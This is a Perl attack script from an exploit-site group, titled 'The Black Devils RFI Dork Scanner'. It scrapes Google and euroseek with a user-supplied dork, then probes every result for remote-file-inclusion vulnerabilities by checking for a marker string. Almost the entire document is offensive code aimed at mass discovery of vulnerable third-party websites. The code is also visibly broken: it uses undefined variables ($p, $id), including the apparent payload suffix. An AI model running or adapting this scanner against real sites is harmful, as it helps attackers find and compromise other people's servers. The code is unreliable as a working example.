The Black Devils RFI Dork Scanner V1.0 bY aSESINO04

#!/usr/bin/perl
#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
#0     _                   __           __       __                     1
#1   /' \            __  /'__`\        /\ \__  /'__`\                   0
#0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
#1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
#0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
#1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
#0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
#1                  \ \____/ >> Exploit database separated by exploit   0
#0                   \/___/          type (local, remote, DoS, etc.)    1
#1                                                                      1
#0  [+] Site            : 1337day.com                                   0
#1  [+] Support e-mail  : submit[at]1337day.com                         1
#0                                                                      0
#1               #########################################              1
#0               I'm The Black Devils member from Inj3ct0r Team         1
#1               #########################################              0
#0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
use LWP::UserAgent;
use HTTP::Request;

$t = LWP::UserAgent->new() or die ("Error");
$t->agent('Black-DevilsOS');

$temp = 'google_links.txt';
$temp2 = 'temp2_links.txt';

system("title The Black Devils");
system("color 1e");
system("cls");
print "\n\n";
print "    |=======================================================|\n";
print "    |= [!] Name : The Black Devils RFI Dork Scanner V1.0 ||=|\n";
print "    |= [!] Author  : The Black Devils                      =|\n";
print "    |= [!] Mail: mr.k4rizma(at)gmail(dot)com               =|\n";
print "    |=======================================================|\n";
sleep(2);
print "\n";

print '[..] Insert Dork( allinurl:"page.php?doc=" ) : ';
$text=<STDIN>;
print "[..] Start Scanning For $text\n";
print "[..] Note : This Scan will take some times...\n";

for ($i = 0;$i <= 900;$i += 100){
$g = "http://google.com/search?q=".$text."&num=100&hl=en&as_qdr=all&start=".$p."&sa=N";
$go = $t->request(HTTP::Request->new(GET=>$g));
if ($go =~/Results/){
open(r1,">>",$temp);
$tx = $go->content;
print r1 "$tx\n";
close(r1);
g2();
}else{
print "[..] Banned By Google or No Connection, Trying to Bypass...\n";
g3();
}

sub g2(){
print "Started searching for site...\n";
open ("r2", $temp);
@rs = <r2>;
close(r2);
chomp(@rs);
unlink($temp);
foreach $re(@rs){
while ($re=~ m/<h3 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/g) {
open(r2,">>",$temp2);
print r2 "$2\n";
close(r2);
}
}

open ("r3", $temp2);
@rs2 = <r3>;
close(r3);
chomp(@rs2);

unlink($temp2);

foreach $re2(@rs2){
$url = "$re2$id?";
$t->timeout(4);
$o = $t->request(HTTP::Request->new(GET=>$url));
$r = $o->content;
if ($r =~/XShimeX/){
$j++;
print "[~] RFI Vulnerable:\n$url\n";
}else{
$nv++;
print "[o] Exploiting...\n"
}
}
}
}

sub g3(){
print "[..] Bypass Started...\n";
for ( $i = 0; $i <= 1000; $i += 10 ) {
$url = "http://euroseek.com/system/search.cgi?language=en&mode=internet&start=".$i."&string=".$text."";
$eu = $t->request(HTTP::Request->new(GET=>$url));
$tx = $eu->content;
open (ooo,">>",$temp);
print ooo "$tx";
close(ooo);

open ("ooo", $temp);
@tex = <ooo>;
close(ooo);
chomp(@tex);

unlink($temp);

foreach $tu(@tex){
while ($tu =~ m/<a href="(.+?)" class="searchlinktitle"/g ) {
open (ooo,">>",$temp2);
print ooo "$1\n";
close(ooo);
}
}
open ("oooo", $temp2);
@rs3 = <oooo>;
close(oooo);
chomp(@rs3);

unlink($temp2);

foreach $re3(@rs3){
$url = "$re3$id?";
$t->timeout(4);
$o1 = $t->request(HTTP::Request->new(GET=>$url));
$r = $o1->content;
if ($r =~/XShimeX/){
print "[-] RFI Vulnerable:\n$url\n";
$j++;
}else{
$nv++;
print "[o] Exploiting...\n"
}
}
}
}
print "[..] Scanning Finish\n";
print "[..] Total Vulnerable : $j\n";
print "[..] Total Not Vulnerable : $nv\n";